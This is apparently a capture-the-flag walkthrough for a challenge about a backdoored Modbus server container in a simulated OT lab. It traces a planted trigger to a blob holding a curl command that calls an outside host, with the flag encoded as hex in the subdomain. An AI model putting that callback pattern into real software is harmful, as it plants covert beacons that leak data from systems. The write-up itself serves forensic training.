backdoored_bus.md
Walkthrough by WASP1337 aka CyberWasp
A Dockerized Modbus TCP server was deployed in a simulated OT lab environment for testing purposes. The server used an open-source implementation to emulate PLC behaviour during protocol fuzzing. It was never meant to be exposed beyond the test VLAN.
However, strange system-level behaviour was recently observed during a simple register read operation. Internal logs suggest the simulation environment may have been tampered with—possibly by someone with access to the codebase or container.
You are provided with a Docker image of the Modbus server environment. Analyze the container and determine whether any backdoors are implanted within it. Identify the trigger condition and extract the flag left behind by the attacker.
Download tar and extract it:
The repositories file tells us which is the latest:
{"modbus-container-final":{"latest":"72abd2fd8b98a87e29d917fe125dc5be0f29bf0e995055dd4c77738e1f499395"}}
In blobs find 72abd...
It contains a curl command:
curl -s 54484d7b6234636b6430307233645f70796d30646275357d.callmeback.com
In Cyberchef, 54484d7b6234636b6430307233645f70796d30646275357d decodes to flag (from Hex).